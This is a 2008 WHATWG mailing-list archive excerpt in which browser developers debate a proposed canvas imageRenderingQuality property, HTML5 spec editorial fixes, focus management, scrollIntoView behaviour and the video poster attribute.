>>> 'auto' (default): The user agent shall make appropriate tradeoffs  
>>> to balance speed and quality, but quality shall be given more  
>>> importance than speed.
>>>
>>> 'optimizeQuality': Emphasize quality over rendering speed.
>>>
>>> 'optimizeSpeed': Emphasize speed over rendering quality.
>>>
>>> No specific image sampling algorithm is specified for any of these  
>>> properties, with the exception that, at a minimum, nearest- 
>>> neighbour resampling should be used.  One alternative is to  
>>> specify 'best', 'good', 'fast', with "good" being the default, as  
>>> opposed to the SVG names; I think those names are more  
>>> descriptive, but there might be value in keeping the names  
>>> consistent with SVG, especially if that property bubbles up into  
>>> general CSS usage.
>>>
>>>  - Vlad
>>>
>>
>



From vladimir at pobox.com  Mon Jun  2 14:57:41 2008
From: vladimir at pobox.com (Vladimir Vukicevic)
Date: Mon, 2 Jun 2008 14:57:41 -0700
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>
Message-ID: <74AA47E6-2B0F-41A9-B1FC-5FFAB66D02EF@pobox.com>


On Jun 2, 2008, at 2:39 PM, Oliver Hunt wrote:
> That's exactly what i would be afraid of people doing.  If I have a  
> fast system why should i have to experience low quality rendering?   
> It should be the job of the platform to determine what level of  
> performance or quality can be achieved on a given device.  Typically  
> such a property would be considered a "hint", and as such would  
> likely be ignored.
>
> If honouring this property was _required_ rather than being a hint  
> you would hit the following problems:
> * Low power devices would have a significant potential for poor  
> performance if a developer found that their desktop performed well  
> so set the requirement to high quality.
> * High power devices would be forced to use low quality rendering  
> modes when perfectly capable of providing better quality without  
> significant performance penalty.
> Neither of these apply if the property were just a hint, but now you  
> have to think about what happens to content that uses this property  
> in 18 months time.  You've told the UA to use a low quality  
> rendering when it may no longer be necessary, so now the UA has a  
> choice it either always obeys the property meaning lower quality  
> than is necessary so that new content performs well, or it ignores  
> the property in which case new content performs badly.

If web apps misuse the property, then bugs should be filed on those  
apps that incorrectly use the property, and the app developer should  
fix them.  The web platform shouldn't prevent developers from  
exercising control over how their content is rendered; most  
developers, as you say, probably shouldn't change anything from the  
default 'auto'.  But the capability should be there.  Arbitrarily  
deciding what developers can and can't do isn't interesting from the  
perspective of creating a full-featured platform, IMO.

No matter how fast smooth/bilinear filtering is, something more  
complex is always going to be slower, and something less complex is  
always going to be faster.  If those perf differences are significant  
to the web app, no matter how small, you're going to want to be able  
to have that control.  If they're not, then you should just be using  
'auto' and let the UA handle it.

     - Vlad

> On Jun 2, 2008, at 2:15 PM, Vladimir Vukicevic wrote:
>
>>
>> Sure; bilinear filtering is slower than nearest neighbour sampling,  
>> and in many cases the app author would like to be able to decide  
>> that tradeoff (or, at least, to be able to say "I want this to go  
>> as fast as possible, regardless of quality").  Some apps might also  
>> render to a canvas just once, and would prefer to do it at the  
>> highest quality filtering available even if it's more expensive  
>> than the default.
>>
>>   - Vlad
>>
>> On Jun 2, 2008, at 12:25 PM, Oliver Hunt wrote:
>>> Um, could you actually give some kind of reasoning for these?  I  
>>> am not aware of any significant performance issues in Canvas that  
>>> cannot be almost directly attributed to JavaScript itself rather  
>>> than the canvas.
>>>
>>> --Oliver
>>>
>>> On Jun 2, 2008, at 12:19 PM, Vladimir Vukicevic wrote:
>>>
>>>>
>>>> I'd like to propose adding an imageRenderingQuality property on  
>>>> the canvas 2D context to allow authors to choose speed vs.  
>>>> quality when rendering images (especially transformed ones).   
>>>> This is modeled on the SVG image-rendering property, at http://www.w3.org/TR/SVG/painting.html#ImageRenderingProperty 
>>>> :
>>>>
>>>> attribute string imageRenderingQuality;
>>>>
>>>> 'auto' (default): The user agent shall make appropriate tradeoffs  
>>>> to balance speed and quality, but quality shall be given more  
>>>> importance than speed.
>>>>
>>>> 'optimizeQuality': Emphasize quality over rendering speed.
>>>>
>>>> 'optimizeSpeed': Emphasize speed over rendering quality.
>>>>
>>>> No specific image sampling algorithm is specified for any of  
>>>> these properties, with the exception that, at a minimum, nearest- 
>>>> neighbour resampling should be used.  One alternative is to  
>>>> specify 'best', 'good', 'fast', with "good" being the default, as  
>>>> opposed to the SVG names; I think those names are more  
>>>> descriptive, but there might be value in keeping the names  
>>>> consistent with SVG, especially if that property bubbles up into  
>>>> general CSS usage.
>>>>
>>>> - Vlad
>>>>
>>>
>>
>



From hyatt at apple.com  Mon Jun  2 15:07:24 2008
From: hyatt at apple.com (David Hyatt)
Date: Mon, 02 Jun 2008 17:07:24 -0500
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <74AA47E6-2B0F-41A9-B1FC-5FFAB66D02EF@pobox.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>
	<74AA47E6-2B0F-41A9-B1FC-5FFAB66D02EF@pobox.com>
Message-ID: <9535C487-0F29-4D93-B77A-2992D4784CFE@apple.com>

On Jun 2, 2008, at 4:57 PM, Vladimir Vukicevic wrote:

>
> On Jun 2, 2008, at 2:39 PM, Oliver Hunt wrote:
>> That's exactly what i would be afraid of people doing.  If I have a  
>> fast system why should i have to experience low quality rendering?   
>> It should be the job of the platform to determine what level of  
>> performance or quality can be achieved on a given device.   
>> Typically such a property would be considered a "hint", and as such  
>> would likely be ignored.
>>
>> If honouring this property was _required_ rather than being a hint  
>> you would hit the following problems:
>> * Low power devices would have a significant potential for poor  
>> performance if a developer found that their desktop performed well  
>> so set the requirement to high quality.
>> * High power devices would be forced to use low quality rendering  
>> modes when perfectly capable of providing better quality without  
>> significant performance penalty.
>> Neither of these apply if the property were just a hint, but now  
>> you have to think about what happens to content that uses this  
>> property in 18 months time.  You've told the UA to use a low  
>> quality rendering when it may no longer be necessary, so now the UA  
>> has a choice it either always obeys the property meaning lower  
>> quality than is necessary so that new content performs well, or it  
>> ignores the property in which case new content performs badly.
>
> If web apps misuse the property, then bugs should be filed on those  
> apps that incorrectly use the property, and the app developer should  
> fix them.  The web platform shouldn't prevent developers from  
> exercising control over how their content is rendered; most  
> developers, as you say, probably shouldn't change anything from the  
> default 'auto'.  But the capability should be there.  Arbitrarily  
> deciding what developers can and can't do isn't interesting from the  
> perspective of creating a full-featured platform, IMO.
>
> No matter how fast smooth/bilinear filtering is, something more  
> complex is always going to be slower, and something less complex is  
> always going to be faster.  If those perf differences are  
> significant to the web app, no matter how small, you're going to  
> want to be able to have that control.  If they're not, then you  
> should just be using 'auto' and let the UA handle it.

I completely agree.  Almost any feature can be abused.  It's not our  
job to withhold features just because they can be abused.  It's also  
worth pointing out that this is a common graphical knob supported by  
Cairo and CoreGraphics.  It is a proprietary MS CSS property and an  
SVG CSS property.  In other words, it seems to be a pretty widely  
implemented feature and as such seems like it would be a worthwhile  
addition to canvas.

If we add this, we should also add support for text rendering quality  
as well, since canvas is picking up the ability to draw text.

dave
(hyatt at apple.com)



From robert at ocallahan.org  Mon Jun  2 15:14:08 2008
From: robert at ocallahan.org (Robert O'Callahan)
Date: Tue, 3 Jun 2008 10:14:08 +1200
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <68F64E2B-C0BD-4348-BE7C-E7708DC13CF8@pobox.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0DE7ED6-DF22-4334-A073-BBA8B2ADEDE8@apple.com>
	<68F64E2B-C0BD-4348-BE7C-E7708DC13CF8@pobox.com>
Message-ID: <11e306600806021514j27cf4a95jdb11a00905f73e04@mail.gmail.com>

On Tue, Jun 3, 2008 at 9:34 AM, Vladimir Vukicevic <vladimir at pobox.com>
wrote:

>
> Yeah, I agree -- I thought that there was some plan somewhere to uplift a
> bunch of these SVG CSS properties into general usage?  I know that Gecko
> uplifted text-rendering, we should figure out what else makes sense to pull
> up.


Sort of off topic, but as you said, we uplifted 'text-rendering' in Gecko
1.9. I'm experimenting with 'clip-path', 'mask' and 'filter'. We're also
looking at uplifting 'pointer-events'. For the non-hint properties we have
to be more careful because it needs to be specified what they mean for
non-SVG content; uplifting the hint properties is a lot easier.

Rob
-- 
"He was pierced for our transgressions, he was crushed for our iniquities;
the punishment that brought us peace was upon him, and by his wounds we are
healed. We all, like sheep, have gone astray, each of us has turned to his
own way; and the LORD has laid on him the iniquity of us all." [Isaiah
53:5-6]
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080603/ca01a590/attachment.htm>

From robert at ocallahan.org  Mon Jun  2 15:19:29 2008
From: robert at ocallahan.org (Robert O'Callahan)
Date: Tue, 3 Jun 2008 10:19:29 +1200
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>
Message-ID: <11e306600806021519h55955cd2v99b8139cf9e949c6@mail.gmail.com>

On Tue, Jun 3, 2008 at 9:39 AM, Oliver Hunt <oliver at apple.com> wrote:

> That's exactly what i would be afraid of people doing.  If I have a fast
> system why should i have to experience low quality rendering?  It should be
> the job of the platform to determine what level of performance or quality
> can be achieved on a given device.


Right, it is. The user-agent is free to map all property values to "maximum
quality".


> Typically such a property would be considered a "hint", and as such would
> likely be ignored.


Ignored by who?

Neither of these apply if the property were just a hint, but now you have to
> think about what happens to content that uses this property in 18 months
> time.  You've told the UA to use a low quality rendering when it may no
> longer be necessary, so now the UA has a choice it either always obeys the
> property meaning lower quality than is necessary so that new content
> performs well, or it ignores the property in which case new content performs
> badly.


If the quality knob is no longer necessary, why would new content perform
badly?

These hint properties are opt-in for UAs. If you don't like the idea, just
treat all values as "auto".

Rob
-- 
"He was pierced for our transgressions, he was crushed for our iniquities;
the punishment that brought us peace was upon him, and by his wounds we are
healed. We all, like sheep, have gone astray, each of us has turned to his
own way; and the LORD has laid on him the iniquity of us all." [Isaiah
53:5-6]
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080603/8b87c76f/attachment.htm>

From oliver at apple.com  Mon Jun  2 15:52:39 2008
From: oliver at apple.com (Oliver Hunt)
Date: Mon, 2 Jun 2008 15:52:39 -0700
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <11e306600806021519h55955cd2v99b8139cf9e949c6@mail.gmail.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>
	<11e306600806021519h55955cd2v99b8139cf9e949c6@mail.gmail.com>
Message-ID: <AFE6C8A6-00C0-4CA2-92DD-96EAA4886700@apple.com>


On Jun 2, 2008, at 3:19 PM, Robert O'Callahan wrote:

> On Tue, Jun 3, 2008 at 9:39 AM, Oliver Hunt <oliver at apple.com> wrote:
> That's exactly what i would be afraid of people doing.  If I have a  
> fast system why should i have to experience low quality rendering?   
> It should be the job of the platform to determine what level of  
> performance or quality can be achieved on a given device.
>
> Right, it is. The user-agent is free to map all property values to  
> "maximum quality".
>
> Typically such a property would be considered a "hint", and as such  
> would likely be ignored.
>
> Ignored by who?

Given a few years all UA's as the majority of content saying "low  
quality" will be old, and therefore targeting slower UAs and platforms  
(given moore's law, and the fact that all UAs are currently getting  
faster this seems a reasonable assertion) so respecting it would mean  
the majority of sites using low quality mode would not need to.

>
>
> Neither of these apply if the property were just a hint, but now you  
> have to think about what happens to content that uses this property  
> in 18 months time.  You've told the UA to use a low quality  
> rendering when it may no longer be necessary, so now the UA has a  
> choice it either always obeys the property meaning lower quality  
> than is necessary so that new content performs well, or it ignores  
> the property in which case new content performs badly.
>
> If the quality knob is no longer necessary, why would new content  
> perform badly?
The issue is not that certain operations are slower than others, the  
issue is that anything that requires the developer to choose between  
performance/quality is going to become obsolete as the performance  
trade offs are constantly moving and are not the same from UA to UA,  
from platform to platform.  I think the issue of performance is a  
complex one that will not benefit in the long term from a simple on  
off switch.  Conceivably we could introduce new rendering primitives,  
such as CanvasSprite, CanvasLayer, or some such which would, i  
suspect, provide a similar benefit, but be more resilient in the face  
of changing performance characteristics.

> Rob

--Oliver

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080602/8a7b7d7e/attachment.htm>

From ernestcline at mindspring.com  Mon Jun  2 19:04:31 2008
From: ernestcline at mindspring.com (Ernest Cline)
Date: Mon, 2 Jun 2008 22:04:31 -0400 (GMT-04:00)
Subject: [whatwg] Proposal for a link attribute to replace <a href>
Message-ID: <9900645.1212458671611.JavaMail.root@mswamui-bichon.atl.sa.earthlink.net>



-----Original Message-----
>From: Anne van Kesteren <annevk at opera.com>
>Sent: Jun 2, 2008 5:39 AM
>
>On Mon, 02 Jun 2008 05:26:40 +0200, Ernest Cline  
><ernestcline at mindspring.com> wrote:
>>> The <a> element can already do this and it would be backwards  
>>> compatible.
>>
>> Backwards compatible with some user agents but not with the specs.
>
>Sure, but <anchor> is not backwards compatible with specs or user agents.
>

That might be a reason to adjust the spec for <a> to have it match current behavior, but in my opinion it would be better to provide for the block/inline distinction to be handled with recourse to CSS by having separate elements as is the case for <div>/<span>.  There are alternatives to obtain this behavior in old browsers without using <a> in a block context, so the loss of backward compatibility would be a minor issue at most.

That said, adjusting the spec to have <a> follow current behavior would be better than leaving the spec as it is and not have any spec compliant method to provide a block level hyperlink without the use of scripting.


From jens at meiert.com  Tue Jun  3 02:09:03 2008
From: jens at meiert.com (Jens Meiert)
Date: Tue, 3 Jun 2008 11:09:03 +0200
Subject: [whatwg] Spec review results I
Message-ID: <9fbcac550806030209j2b006334qc26edf9174d8ac68@mail.gmail.com>

Since currently reviewing and proof-reading the HTML 5 spec draft
(again) I'm feeling free to send (rather non-technical) /suggestions/
and eventual typos to this list. This tiny first part refers to CVS
revision 1.904 [1].

* Please drop "or the idea that the working group should even spend
time discussing the concept of that section" as this is unnecessarily
judgmental.

* Change order of change history locations [2] (inverting the order
seems to make sense to put more emphasis on CVS/SVN access than on
Twitter).

* Remove emphasis from "This" in "This specification aims to extend
HTML so that it is also suitable in these contexts" [3] (and probably
use "The HTML 5 specification" instead of "This") as this
unnecessarily seems to judge XHTML 2.

* Better write "HTML documents do not exist in a vacuum. This section
?" instead of "HTML documents do not exist in a vacuum ? this section
?" [4].

* In the same section [4] it might be fine to drop the first half of
the Language Syntax description, "All of these features would be for
naught if they couldn't be represented in a serialized form and sent
to other people, and so ?".

* Add a period behind "etc" (many occurrences), as I Merriam-Webster
[5] and Wikipedia [6] seem to confirm ("Typically, the abbreviated
versions should always be followed by a full stop").

* In the conformance section [7], "if errors have been so preserved"
might be rephrased to "if errror have been preserved this way" or the
like (not too sure about it, but the current phrase sounded strange to
my non-native ears).

* Please simplify the "Unless otherwise specified ?" exception notes
[8] as there is a lot of redundancy.


[1] http://dev.w3.org/cvsweb/~checkout~/html5/spec/Overview.html?rev=1.904
[2] http://dev.w3.org/cvsweb/~checkout~/html5/spec/Overview.html?rev=1.904#status
[3] http://dev.w3.org/cvsweb/~checkout~/html5/spec/Overview.html?rev=1.904#relationship0
[4] http://dev.w3.org/cvsweb/~checkout~/html5/spec/Overview.html?rev=1.904#structure
[5] http://www.merriam-webster.com/dictionary/etc
[6] http://en.wikipedia.org/wiki/Et_cetera
[7] http://dev.w3.org/cvsweb/~checkout~/html5/spec/Overview.html?rev=1.904#conformance
[8] http://dev.w3.org/cvsweb/~checkout~/html5/spec/Overview.html?rev=1.904#common

-- 
Jens Meiert
http://meiert.com/en/

From ian at hixie.ch  Tue Jun  3 04:19:04 2008
From: ian at hixie.ch (Ian Hickson)
Date: Tue, 3 Jun 2008 11:19:04 +0000 (UTC)
Subject: [whatwg] Focus management
In-Reply-To: <04400439-8B43-44D2-95AD-FDDBE2E7AA26@mac.com>
References: <04400439-8B43-44D2-95AD-FDDBE2E7AA26@mac.com>
Message-ID: <Pine.LNX.4.62.0806031103030.8559@hixie.dreamhostps.com>

On Fri, 4 May 2007, Simon Fraser wrote:
>
> Some web applications may need more control over focus than is offered 
> by the existing focus management proposal: 
> <http://www.whatwg.org/specs/web-apps/current-work/#focus>
> 
> Specifically, it's hard to write JavaScript that has more explicit 
> control over focus changes. Functionality that is missing (but often 
> included in native UI toolkits) includes:
> 
> * Focus chain queries
>     need the ability to ask the document what the next/previous focusable
>     element is from a given element, or from null (first/last focusable
>     element).
> 
> * Is element focusable
>     need to be able to ask an element if it can take focus. Focusability is
>     currently some function of element type, tabindex, visibility,
>     contentEditability, UA preferenes etc, and it's hard to write JS
>     that computes this.
> 
> * Explicit advance/rewind focus
>     need to be able to move focus to the next/previous focusable
>     element without having explicit knowledge of what the next
>     element is (this mirrors what happens when the user hits the Tab
>     or Shift-Tab keys).
> 
>     (If nextFocus()/previousFocus() are available, this could be achieved with
>         document.nextFocus(document.activeElement).focus(),
>      but that seems a little long-winded.)

Could you elaborate on the use cases for these? I'd rather not add these 
features just because other environments have them, but if there are good 
reasons to have them, I'd naturally be happy to add them.


> In addition, I'd like to see a few clarifications in the "Focus management"
> section of the Web Applications draft:
> 
> * What does focus() do on an unfocusable element? Does the previously
>   focused element remain focused?

This is now clarified, hopefully.


> * document.activeElement has some ambiguities:
>     - Is it valid when the window does not have focus?

Does this sentence in an earlier sentence answer this unambigiously?:

# Which element(s) within a top-level browsing context currently has focus 
# must be independent of whether or not the top-level browsing context 
# itself has the system focus.


>     - IE has a setActive() method that changes the activeElement, but
>         does not change the focus. So the activeElement is not always
>         the focused element.

Should we specify setActive()?

Does it just set which element would be focused if the document were to 
get focus?

As defined, activeElement just returns the element _within the document_ 
that is focued, that might not be the element with system focus if another 
document has the system focus.


> * how does display: none or visibility: hidden interact with focus?
>     - can non-rendered elements be focused?

No (this is explicit now, though it could probably be clearer).


>     - if a focused element becomes unrendered, does focus move to the
>       next focusable element?

No (this is implicit in that it becomes an unfocusable element and thus 
can't be focused, but the focus doesn't go anywhere in particular, 
there's just not focused element).


> Finally I'd like to see some discussion around focus() and window activation.
> window.focus() obviously (and annoyingly) activates the window, but should
> focussing an element inside a window raise the window? What happens if
> that window is a hidden tab in a tabbed browser?

window.focus() isn't in HTML5 as there doesn't appear to be a valid use 
case for it and it is too abusable, and thus shouldn't be supported. If 
pages depend on it being supported we could make it a no-op, I guess.

Focusing an element inside a window should raise the window or hidden tab 
at the UA's discretion. I don't know that there's anything we need to 
explicitly say about that.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From ian at hixie.ch  Tue Jun  3 04:21:52 2008
From: ian at hixie.ch (Ian Hickson)
Date: Tue, 3 Jun 2008 11:21:52 +0000 (UTC)
Subject: [whatwg] HTML5 Feedback: Section 3.5.2 Focus
In-Reply-To: <1959130b0710082158s1e6ec7dqe89a42eee4a07965@mail.gmail.com>
References: <1959130b0710082158s1e6ec7dqe89a42eee4a07965@mail.gmail.com>
Message-ID: <Pine.LNX.4.62.0806031121080.8559@hixie.dreamhostps.com>

On Mon, 8 Oct 2007, Brad Fults wrote:
>
> A few things in Section 3.5.2:
> 
> "There is always an element focused; in the absence of other elements 
> being focused, the document's root element is it." [1]
> 
> This sentence is awkwardly worded and as far as I can tell, "document's 
> root element" is referenced but not defined anywhere. It might be better 
> as something like:
> 
> "There is always a single element with focus. If no other element in the 
> document has focus, focus is given to the document's root element -- in 
> this case the body element."
> 
> That is assuming, of course, that the body element is indeed the element 
> that is to receive focus when no other element is focused. I'm not 
> thrilled with this wording either, but it is an incremental improvement 
> in comprehensibility.

This section got rewritten recently and the above text is no longer there 
in that form. Let me know if it's still broken in your opinion.


> "If no element specifically has focus, this must return the body 
> element." [2]
> 
> This sentence references "the body element" (with proper linking to its 
> definition). Is the intention here to distinguish "the body element" 
> from "the document's root element" mentioned in the previous quote? If 
> so, it's not clear what the distinction is or why it is present. If not, 
> these two sentences should use the same terminology.

Fixed as part of the earlier changes.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From ian at hixie.ch  Tue Jun  3 04:33:28 2008
From: ian at hixie.ch (Ian Hickson)
Date: Tue, 3 Jun 2008 11:33:28 +0000 (UTC)
Subject: [whatwg] HTML5 Feedback: Section 3.5.3 Scrolling elements into
 view
In-Reply-To: <1959130b0710082211m7a3fff53v9d6601fd2a81a193@mail.gmail.com>
References: <1959130b0710082211m7a3fff53v9d6601fd2a81a193@mail.gmail.com>
Message-ID: <Pine.LNX.4.62.0806031126170.8559@hixie.dreamhostps.com>

On Mon, 8 Oct 2007, Brad Fults wrote:
>
> There are a couple of problems I have found in this section.
> 
> "If it isn't possible to show the entire element in that way, or if the 
> argument is omitted or is true, then the user agent must instead simply 
> align the top of the element with the top of the viewport." [1]
> 
> I have two issues with this text:
> 
>   1. The word "simply" is rhetoric and doesn't seem reasonable or
> useful in the context of this part of the specification.

Removed.


>   2. It may not be possible to align the top of the element with the top 
> of the viewport without scrolling past the bottom of the document, so 
> the "must" is unreasonable. This contingency should be mentioned 
> (scrolling past the bottom of the document is not, as far as I know, 
> desired).

I don't understand what you mean. How can something in the document be 
further down than the bottom of the document?


> Secondly, with respect to this section as a whole, I see no description 
> of necessary behavior for horizontal scrolling. Surely this is an issue 
> that must be addressed, as it would be decidedly deficient if 
> scrollIntoView() only took vertical scrolling into account, leaving 
> horizontally overflown content still outside of the viewport after the 
> method's invocation.

Do UAs do any horizontal scrolling today? I've mentioned it, but I'm not 
sure what to say really.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From ian at hixie.ch  Tue Jun  3 04:42:04 2008
From: ian at hixie.ch (Ian Hickson)
Date: Tue, 3 Jun 2008 11:42:04 +0000 (UTC)
Subject: [whatwg] HTMLDocument hasFocus - should it be a function?
In-Reply-To: <358B6506-02B1-4559-8DE9-433711C85684@apple.com>
References: <358B6506-02B1-4559-8DE9-433711C85684@apple.com>
Message-ID: <Pine.LNX.4.62.0806031141580.8559@hixie.dreamhostps.com>

On Tue, 4 Mar 2008, Adele Peterson wrote:
>
> I started implementing the hasFocus attribute in WebKit, but then I 
> realized that IE and Firefox 3 both implement it as a function.  Should 
> the spec change to match the existing implementations?

Fixed.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From philipj at opera.com  Tue Jun  3 05:36:57 2008
From: philipj at opera.com (Philip =?ISO-8859-1?Q?J=E4genstedt?=)
Date: Tue, 03 Jun 2008 14:36:57 +0200
Subject: [whatwg] Interpretation of video poster attribute
Message-ID: <1212496617.24802.6.camel@nog.bredbandsbolaget.se>

Hi!

I'm a bit puzzled about how to interpret the poster attribute on
HTMLVideoElement:

"The poster attribute gives the address of an image file that the user
agent can show while no video data is available. The attribute, if
present, must contain a URI (or IRI)."

Is the intention that this image should be stretched to the size of the
video element, or that it should be centered in the frame? If the width
and height attributes are not given, should the video element initially
be given the size of the poster image, or should the user agent wait
until it has the dimensions of the video (thereby making the poster
useless)?

In short, what is the intended use of poster?

-- Philip J?genstedt



From jbanes at gmail.com  Tue Jun  3 07:09:59 2008
From: jbanes at gmail.com (Jerason Banes)
Date: Tue, 3 Jun 2008 09:09:59 -0500
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <AFE6C8A6-00C0-4CA2-92DD-96EAA4886700@apple.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>
	<11e306600806021519h55955cd2v99b8139cf9e949c6@mail.gmail.com>
	<AFE6C8A6-00C0-4CA2-92DD-96EAA4886700@apple.com>
Message-ID: <82c3f5040806030709n7a2317dcxa66a358b7969161e@mail.gmail.com>

If you don't mind someone weighing in who's been working with the Nintendo
Wii for the past year and a half, I have found that the "quality" setting in
Flash is tremendously useful. While the march of Moore's law has ensured
that Flash on the desktop is zippy, it has also created a gap whereby
smaller devices are powerful enough to compete with last generation
desktops. For these devices, the quality setting is more than a "nice to
have". It's absolutely critical to obtaining decent performance.

The algorithm's I've used over on WiiCade automatically adjust for high
quality when on the desktop, and low to medium quality when on the Wii. This
provides a more consistent experience to users of both systems. In addition,
many game provide a quality setting in their options screen. (Similar to the
rendering features options in most 3D games.) This allows the user to adjust
the rendering speed manually if he finds his system is too slow or the game
in question is more than fast enough on the Wii.

I can see a quality setting in Javascript used in much the same way. The
site would set the quality of the rendering based on knowledge of particular
platforms. Modern desktops would default to highest quality. Furthermore,
video games (and we all know that's going to be a huge use of Canvas at some
point ;-)) that push the limit of Canvas may allow the user to "shift down"
as it were to compensate for their slower machine or the slow Canvas
rendering of their browser.

I definitely think this setting should be a hint rather than a hard and fast
set of rules. If a UA (especially desktop UAs) wants to ignore the setting,
that's fine. It will cause no appreciable damage. But it will allow for
slower UAs to be tuned for usage. e.g. If I'm looking at charts on my Wii,
I'd rather they be high quality. If I'm playing a video game, the quality
simply does not matter as much.

I hope you will all keep we poor device users in mind when you come to your
decision.

Thanks!
Jerason Banes

On Mon, Jun 2, 2008 at 5:52 PM, Oliver Hunt <oliver at apple.com> wrote:

>
>  Neither of these apply if the property were just a hint, but now you have
>> to think about what happens to content that uses this property in 18 months
>> time.  You've told the UA to use a low quality rendering when it may no
>> longer be necessary, so now the UA has a choice it either always obeys the
>> property meaning lower quality than is necessary so that new content
>> performs well, or it ignores the property in which case new content performs
>> badly.
>
>
> If the quality knob is no longer necessary, why would new content perform
> badly?
>
> The issue is not that certain operations are slower than others, the issue
> is that anything that requires the developer to choose between
> performance/quality is going to become obsolete as the performance trade
> offs are constantly moving and are not the same from UA to UA, from platform
> to platform.  I think the issue of performance is a complex one that will
> not benefit in the long term from a simple on off switch.  Conceivably we
> could introduce new rendering primitives, such as CanvasSprite, CanvasLayer,
> or some such which would, i suspect, provide a similar benefit, but be more
> resilient in the face of changing performance characteristics.
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080603/2375b261/attachment.htm>

From jackalmage at gmail.com  Tue Jun  3 08:00:00 2008
From: jackalmage at gmail.com (Tab Atkins Jr.)
Date: Tue, 3 Jun 2008 10:00:00 -0500
Subject: [whatwg] Fwd:  Interpretation of video poster attribute
In-Reply-To: <dd0fbad0806030759m789af621qa3fe21493bdb3b66@mail.gmail.com>
References: <1212496617.24802.6.camel@nog.bredbandsbolaget.se>
	<dd0fbad0806030759m789af621qa3fe21493bdb3b66@mail.gmail.com>
Message-ID: <dd0fbad0806030800n22c76bf3n180f1048f13b2154@mail.gmail.com>

On Tue, Jun 3, 2008 at 7:36 AM, Philip J?genstedt <philipj at opera.com> wrote:

> Hi!
>
> I'm a bit puzzled about how to interpret the poster attribute on
> HTMLVideoElement:
>
> "The poster attribute gives the address of an image file that the user
> agent can show while no video data is available. The attribute, if
> present, must contain a URI (or IRI)."
>
> Is the intention that this image should be stretched to the size of the
> video element, or that it should be centered in the frame? If the width
> and height attributes are not given, should the video element initially
> be given the size of the poster image, or should the user agent wait
> until it has the dimensions of the video (thereby making the poster
> useless)?
>
> In short, what is the intended use of poster?
>
> -- Philip J?genstedt
>

Just for similar-implementation-ideas, flvplayer simply aligns the poster
image to the upper-left of the object element, with no scaling at all.  If
width and height are not given, it simply doesn't display at all.

Unless there's already some alternate intent, I suggest <video> scale to the
poster's size if no explicit size is given.

~TJ
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080603/b1fcb832/attachment.htm>

From giecrilj at stegny.2a.pl  Tue Jun  3 08:24:20 2008
From: giecrilj at stegny.2a.pl (=?US-ASCII?Q?Kristof_Zelechovski?=)
Date: Tue, 3 Jun 2008 17:24:20 +0200
Subject: [whatwg] HTML5 Feedback: Section 3.5.3 Scrolling elements into
	view
In-Reply-To: <Pine.LNX.4.62.0806031126170.8559@hixie.dreamhostps.com>
References: <1959130b0710082211m7a3fff53v9d6601fd2a81a193@mail.gmail.com>
	<Pine.LNX.4.62.0806031126170.8559@hixie.dreamhostps.com>
